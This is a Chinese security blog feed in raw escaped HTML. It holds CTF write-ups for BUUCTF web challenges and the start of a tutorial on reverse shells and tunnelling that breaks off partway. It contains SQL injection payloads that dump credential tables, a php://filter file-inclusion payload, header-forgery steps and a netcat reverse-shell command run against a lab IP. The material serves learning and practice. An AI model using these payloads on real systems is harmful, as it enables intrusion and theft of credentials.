&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235870.png&quot; alt=&quot;image-20240123215052802&quot; style=&quot;zoom:33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235871.png&quot; alt=&quot;image-20240123215103837&quot; style=&quot;zoom: 33%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;输入非零数字得到结果一直是1和而输入其余字符的数据就得不到回显=&amp;gt;来判断出内部的查询语句可能存在有||（即or：或运算）。&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;他的后端既然能做到数字回显字母不回显，说明有一个 或 结构，而且不直接回显flag，但作为一道题目，from一定是from flag。

那么内置语句就可以猜测为：

sql=&quot;select post[&apos;query&apos;] || flag from flag&quot;;

上面只是个猜测啊。。。
可能不是flag是Flag,也可能from 别的地方。

但假设是这样的结构我们做一下。||是肯定有的。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cnblogs.com/micrari/p/6358652.html&quot;&gt;MySQL中字符串与数字比较的坑&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/leo3070/article/details/118670591&quot;&gt;mysql之字符串进行运算或大小比较 &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;方法一：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*，1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235872.png&quot; alt=&quot;image-20240123215931274&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等同于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select *，1 || flag from flag

根据之前的例子可以知道 1 || flag -&amp;gt;1 这是一个短路语句

select *,1 from flag

这个语句将返回 flag 表中的所有数据，同时在每一行的结果中添加一个常量列，其值为 1，因此这里的 1 可以换成其他数字，但不能是字母或其他符号，这样的查询会将表中的每一列都包含在结果集中，以及一个额外的常量列。

如果 flag 表有三列（例如：column1、column2、column3），那么执行这个查询会返回包含这三列以及额外的 1 列的结果集。例如：

+---------+---------+---------+---+
| column1 | column2 | column3 | 1 |
+---------+---------+---------+---+
|   ...   |   ...   |   ...   | 1 |
+---------+---------+---------+---+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方法二：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235873.png&quot; alt=&quot;image-20240123223026950&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1;set sql_mode=pipes_as_concat;select 1

根据之前的例子可以知道sql_mode=pipes_as_concat就是把 || 设置成了 concat 函数，可以将 || 运算符用作字符串连接

select 1;set sql_mode=pipes_as_concat;select 1 || flag from flag

但是要注意分号隔断了前面的命令，所以要再次添加select!!

因此等同于

select 1;select concat(1,flag) from flag

select 1只会返回一个常量1【Array ( [0] =&amp;gt; 1 )】，最主要的是后面的select concat(1,flag) from flag会将常量1和字段flag的值连接返回【Array ( [0] =&amp;gt; 1flag{0a333f61-edc2-43df-b2c1-8fe80a1d41ae} ) 】
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;9、[极客大挑战 2019]Secret File&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_45766004/article/details/114947589&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235874.png&quot; alt=&quot;image-20240124185659653&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析：&lt;/p&gt;
&lt;p&gt;没什么可以点击的先查看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235875.png&quot; alt=&quot;image-20240124185815331&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到一个叫Archive_room.php的文件，点进去看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235876.png&quot; alt=&quot;image-20240124185857352&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现有一个可以点击的SECRET，点击看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235877.png&quot; alt=&quot;image-20240124185938242&quot; /&gt;&lt;/p&gt;
&lt;p&gt;什么都没有，查看源代码看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235878.png&quot; alt=&quot;image-20240124185955588&quot; /&gt;&lt;/p&gt;
&lt;p&gt;依旧没有得到什么有用的信息，返回到之前的SECRET，既然它可以点击，那我们就点击抓包看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235879.png&quot; alt=&quot;image-20240124190157515&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现这里存在一个被注释的文件secr3t.php&lt;/p&gt;
&lt;p&gt;我们访问看看&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235880.png&quot; alt=&quot;image-20240124190235726&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代码审计后发现应该是需要?file=flag.php的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235881.png&quot; alt=&quot;image-20240124190628407&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是什么都没有发现，所以我推测这里是需要使用跟之前的[ACTF2020 新生赛]Include一样的文件包含漏洞才能显示处理flag&lt;/p&gt;
&lt;p&gt;?file=php://filter/convert.base64-encode/resource=flag.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235883.png&quot; alt=&quot;image-20240124190815913&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里它利用了&lt;a href=&quot;https://blog.csdn.net/gental_z/article/details/122303393&quot;&gt;filter伪协议&lt;/a&gt;，该协议刚好就能够查看文件包含的漏洞，所以当我们利用该协议查看flag.php时，会将它的源代码爆出来，但是因为base64的加密原因，所以我们还需要进行一次base64解密，现在进行解密行为&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235884.png&quot; alt=&quot;image-20240124191004484&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;10、[极客大挑战 2019]LoveSQL&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/satasun/article/details/106246493&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235885.png&quot; alt=&quot;image-20240124193018360&quot; /&gt;&lt;/p&gt;
&lt;p&gt;熟悉的界面，不过这次有点不太一样&lt;/p&gt;
&lt;p&gt;判断闭合类型为单引号&lt;/p&gt;
&lt;p&gt;依旧是先使用万能密码登入&lt;code&gt;1&apos; or true #&lt;/code&gt;密码任意&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235886.png&quot; alt=&quot;image-20240124193249340&quot; /&gt;&lt;/p&gt;
&lt;p&gt;登陆成功，看了一下url，是以get方式进行传参。先在username处测试一下有没有注入点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=1&apos; order by 1%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235887.png&quot; alt=&quot;image-20240124194108777&quot; /&gt;&lt;/p&gt;
&lt;p&gt;没有报错，只是说账号密码错误。直到&lt;code&gt;order by 4&lt;/code&gt;的时候，报错了(后面的%23是#用来注释掉后面的内容的不能删)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=1&apos; order by 4%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235888.png&quot; alt=&quot;image-20240124194126800&quot; /&gt;&lt;/p&gt;
&lt;p&gt;判断出有三个字段，接下来开始寻找注入点&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,2,3%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235889.png&quot; alt=&quot;image-20240124194018662&quot; /&gt;&lt;/p&gt;
&lt;p&gt;很明显，2和3都是注入点，而且没有过滤，接下来直接写命令了，查询数据库名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,database(),3%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235890.png&quot; alt=&quot;image-20240124194236576&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据库名：geek&lt;/p&gt;
&lt;p&gt;接下来查询数据表名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=&apos;geek&apos;%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235891.png&quot; alt=&quot;image-20240124194757638&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据表名：geekuser，l0ve1ysq1&lt;/p&gt;
&lt;p&gt;geekuser这张表感觉并没有存储账号密码的信息，所以我们看l0ve1ysq1&lt;/p&gt;
&lt;p&gt;接下来查询l0ve1ysq1这张表的字段名&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=&apos;geek&apos; and table_name=&apos;l0ve1ysq1&apos;%23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235892.png&quot; alt=&quot;image-20240124195121231&quot; /&gt;&lt;/p&gt;
&lt;p&gt;字段名：id，username，password&lt;/p&gt;
&lt;p&gt;查询username和password字段的数据信息，这里同时查询两个字段信息，所以把3这个回显点也用上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?username=-1&apos; union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 %23&amp;amp;password=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235893.png&quot; alt=&quot;image-20240124195535366&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现页面信息重叠了，直接查看页面源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235894.png&quot; alt=&quot;image-20240124195628862&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到flag&lt;/p&gt;
&lt;h3&gt;11、[极客大挑战 2019]Http&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/qq_53460654/article/details/116162207&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235895.png&quot; alt=&quot;image-20240124195853066&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;看完整个页面后也没发现什么可以点击的地方，直接查看源代码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235896.png&quot; alt=&quot;image-20240124201435013&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现一个Secret.php文件，查看一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235897.png&quot; alt=&quot;image-20240124201523981&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它需要我们从https://www.Sycsecret.com来访问它
所以要进行伪造来绕过了
所以bp抓包发送给重发器进行伪造
那怎么伪造网址访问呢&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;知识点：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;请求数据包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235898.png&quot; alt=&quot;1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235899.png&quot; alt=&quot;image-20240124201819401&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现在请求数据包中的请求头中的Referer可以用来伪造访问地址&lt;/p&gt;
&lt;p&gt;因此我们抓包，添加输入(这里需要注意这玩意需要放在请求头里面也就是稍微放前面一点)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referer:https://Sycsecret.buuoj.cn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235900.png&quot; alt=&quot;image-20240124202530451&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235901.png&quot; alt=&quot;image-20240124202635639&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后它又说要用Syclover browser
所以又要伪造浏览器
所以这里修改User-Agent&lt;/p&gt;
&lt;p&gt;这里有个比较坑的点就是更改或添加新的请求头参数时需要把之前的添加重新输入进去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-Agent:Syclover
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235902.png&quot; alt=&quot;image-20240124203111802&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235903.png&quot; alt=&quot;image-20240124202906694&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它有提示你说只需要本地ip链接就行了
所以又要伪造ip了
X-Forwarded-For:用于修改ip
所以只需要改为本地ip(127.0.0.1)即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Forwarded-For:127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235904.png&quot; alt=&quot;image-20240124203329437&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235905.png&quot; alt=&quot;image-20240124203440519&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功得到flag&lt;/p&gt;
&lt;p&gt;总结，在请求数据包中添加三个请求头参数即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referer:https://Sycsecret.buuoj.cn
User-Agent:Syclover
X-Forwarded-For:127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;12、[极客大挑战 2019]Knife&lt;/h3&gt;
&lt;p&gt;https://blog.csdn.net/weixin_44632787/article/details/117988176&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235906.png&quot; alt=&quot;image-20240124204210793&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里事实上提示我们使用菜刀连接，密码为Syc，但是蚁剑会比较好用，所以这里我们使用蚁剑来连接&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235907.png&quot; alt=&quot;image-20240124204524896&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235908.png&quot; alt=&quot;image-20240124204710408&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;点击最左上角根目录-&amp;gt;文件列表划到最后即可看见flag文件&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235909.png&quot; alt=&quot;image-20240124205109421&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202406192235910.png&quot; alt=&quot;image-20240124205141641&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>内网穿透：ICMP 隧道与 SSH 隧道</title><link>https://wangyi187.top/posts/icmp-ssh-tunnel/</link><guid isPermaLink="true">https://wangyi187.top/posts/icmp-ssh-tunnel/</guid><description>0x02 netcat&amp;icmp隧道&amp;ssh隧道 1、反弹shell 1 shell的基本概念 操作系统：内核、壳（shell） shell：操作系统提供给我们⼀个操控内核的终端 </description><pubDate>Wed, 19 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x02 netcat&amp;amp;icmp隧道&amp;amp;ssh隧道&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;1、反弹shell&lt;/h2&gt;
&lt;h4&gt;1&amp;gt;shell的基本概念&lt;/h4&gt;
&lt;p&gt;操作系统：内核、壳（shell）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;shell：操作系统提供给我们⼀个操控内核的终端&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果我们直接操控操作系统的内核的话会出现很大的问题，就比如说把内核的一些参数给它改掉，就常会出现的情况就是蓝屏，这个壳（shell）就不一样，它会对我们的一些行为进行限制，一些常见操作系统下的壳（shell）&lt;/p&gt;
&lt;p&gt;Linux的话就是bash、zsh&lt;/p&gt;
&lt;p&gt;Windows就是cmd、powershell&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;shell=&amp;gt;命令=&amp;gt;内核&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2&amp;gt;什么是反弹、为什么要反弹&lt;/h4&gt;
&lt;p&gt;​	先假设一个场景，我们&lt;strong&gt;攻击了一台设备后，该设备会打开一个端口，攻击者会主动连接该端口，最简单的方式就是通过ip:port这两个东西去连接这就是正向连接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;​	我们所说的webshell，其实也是这么的一个形式，它打开了一个端口，默认就是80端口嘛，只不过我们在它的端口里面做了一些修改，无非就是url+密码，这个密码其实不能算是反弹shell的一部分，port嘛，默认就是80端口嘛，其实就是url:80，然后主动的去连接，这个方式呢就是叫做正向连接，这比较常规的一个形式，比如说我们的远程桌面，web服务，ssh，telnet等都是正向连接，因为我们主动的去连接对方&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那在什么情况下正向不好用啊？为什么要反弹shell？&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;客户中了我们的网马&lt;/strong&gt;（公网上散播的木马，这里再提一下哈，公网上散播木马这个判得非常严重啊不要去干，抓到就是三年起步）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;客户机中了我们的网马，对吧，那可能说他把我们的木马下载下来之后，他执行之后打开了一个端口我们去连上就可以拿到他的一个shell，但是这个情况下，我们是直连不了他的，因为客户他的一个PC可能在内网中，或者说是在局域网中，在局域网中我们是没办法直连他的，要是他还有那个什么dhcp动态改变，我们更不能做到持续控制，就这种情况，正向连接是没法用的还有一些情况比如说&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.防火墙的限制，只发不收&lt;/strong&gt;（这个很常见）&lt;/p&gt;
&lt;p&gt;我无法ping你，但是你可以ping我这种情况，就是只能去ping防火墙外的人，防火墙外的人无法ping防火墙内的，这么一个概念防火墙的限制&lt;/p&gt;
&lt;p&gt;还有就是&lt;/p&gt;
&lt;p&gt;**3.木马，受害者什么时候中招，对方的网络环境，对方什么时候开关机...**都不清楚，要是对方凌晨两点打开来，我们也不知道，也没办法主动连他&lt;/p&gt;
&lt;p&gt;那这个时候呢，就有一个比较优秀的解决方法了，就是反弹shell&lt;/p&gt;
&lt;p&gt;反弹shell的概念：被攻击者主动连接服务器&lt;/p&gt;
&lt;p&gt;我在公网开一台服务器，服务器做一个持久化的监听，比如说我一直在监听自己的80端口，或者说我一直在监听我的8080端口，这时候受害者一点击我的木马，这个时候就不是我们主动连他了，而是他去连我们，受害者主动连接，这种方法会比正向连接更好用一点，我们不需要去做什么等待，卡时间这种操作，我们只需要把公网服务器开启来，受害者主动回连就可以了，这边还有一些特殊的点，比如说受害者能不能出网这个问题，这个我们到后面会考虑到&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;所以总结来说反弹shell就是：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;公网开⼀台服务器，持久化的监听，受害者主动连接&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2、nc（netcat）&lt;/h3&gt;
&lt;p&gt;官方的解释就是nc是网络工具中的&lt;strong&gt;瑞士军刀&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;能被称为瑞士军刀的工具不多啊，目前只接触到了BP和现在的nc了&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;1&amp;gt;nc的功能&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;在网络中通过TCP|UDP进行数据读写&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它强大在什么地方？就是&lt;strong&gt;强大在它的底层，它与其他的一些工具结合可以完成各种奇奇怪怪的操作&lt;/strong&gt;，比如说创建一个服务器，传输一个文件，跟别人聊天，它的功能非常简单就是两个设备之间建立一个连接，然后建立一个数据流啊，两边可以互相通信&lt;/p&gt;
&lt;h4&gt;2&amp;gt;用VMware的kali做一个nc演示&lt;/h4&gt;
&lt;p&gt;注意：&lt;strong&gt;kali的nc是ncat不是netcat&lt;/strong&gt;，监听的时候命令不能加冒号（：）虽然这两款工具差不多一致，但是还有一些细节上的差异&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;netcat nc 192.168.23.133:1226        ✔

ncat   nc 192.168.23.133:1226        ❌
       nc 192.168.23.133 1226        ✔
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1)nc的参数命令&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;-c｜-e:执行命令&lt;/li&gt;
&lt;li&gt;-l:监听&lt;/li&gt;
&lt;li&gt;-n:以ip的形式指定地址而非域名&lt;/li&gt;
&lt;li&gt;-p:指定端口&lt;/li&gt;
&lt;li&gt;-v | -vv :详细信息&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;host&lt;/th&gt;
&lt;th&gt;ip&lt;/th&gt;
&lt;th&gt;port&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;server&lt;/td&gt;
&lt;td&gt;192.168.23.130&lt;/td&gt;
&lt;td&gt;listen:1226&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;client&lt;/td&gt;
&lt;td&gt;192.168.23.133&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;2)搭建一个可以相互通信，传输消息的隧道&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;服务端【ip:192.168.23.130】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令：nc -lvvp 1226              #监听1226端口，同时显示出详细信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/9fb697514c-image-20231203231810263.png&quot; alt=&quot;image-20231203231810263&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;客户端【ip:192.168.23.133】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令：nc 192.168.23.130 1226&lt;/strong&gt;     &lt;strong&gt;#向服务端192.168.23.130的1226端口主动发起连接&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/fdd2e0d790-image-20231203232047554.png&quot; alt=&quot;image-20231203232047554&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;再回到客户端查看情况&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/bb95038b4e-image-20231203232117798.png&quot; alt=&quot;image-20231203232117798&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以发现连接成功，尝试相互通信，传输消息试试&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/50ed515fc1-image-20231203232233045.png&quot; alt=&quot;image-20231203232233045&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/dc458c3944-image-20231203232247490.png&quot; alt=&quot;image-20231203232247490&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以发现两端都能成功的发送并接收消息，第一个小实验完成&lt;/strong&gt;&lt;/p&gt;
&lt;h5&gt;3）简易反弹shell实验&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;服务端【ip:192.168.23.130】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令：nc -lvvp 1226              #监听1226端口，同时显示出详细信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/9fb697514c-image-20231203231810263.png&quot; alt=&quot;image-20231203231810263&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;客户端【ip:192.168.23.133】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;命令：nc 192.168.23.130 1226 -e /bin/sh&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#向服务端192.168.23.130的1226端口主动发起连接并执行/bin/sh也就是打开shell的操作&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;【注意：并不是所有的Linux都有/bin/bash,但是基本上所有的Linux都有sh】&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这时候就不是相互通信了而是服务端接收到了客户端的shell，在服务端输入的是指令&lt;/strong&gt;，但是客户端没法输入指令让服务端执行，也没法通信，因为这里反弹shell是把客户端的shell反弹到了服务端上&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/ffccf8a3d7-image-20231204101048250.png&quot; alt=&quot;image-20231204101048250&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;再回到客户端查看情况&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/bb95038b4e-image-20231203232117798.png&quot; alt=&quot;image-20231203232117798&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;可以发现连接成功，尝试在服务端输入指令&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/64da69ef5a-image-20231204101154105.png&quot; alt=&quot;image-20231204101154105&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;成功执行命令，反弹shell成功,这就是一个比较简易的反弹shell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;【注意：较新版本的ubuntu和centos删除了nc的-e参数】&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/icmp-ssh-tunnel/cfe9fc8504-image-20231204173846694.png&quot; alt=&quot;image-20231204173846694&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;2、先导：隧道技术&lt;/h2&gt;
&lt;h3&gt;1&amp;gt;进入内网，能找到什么？&lt;/h3&gt;
&lt;p&gt;从当前设备出发，目标放到整个内网，能看到什么呢？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;设备、主机、服务&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;【看到路由交换、同一个网段下的一些其他的主机\服务器、这些主机和路由器上都运行着各个的服务，这就是我们在内网中能看到的东西】&lt;/p&gt;
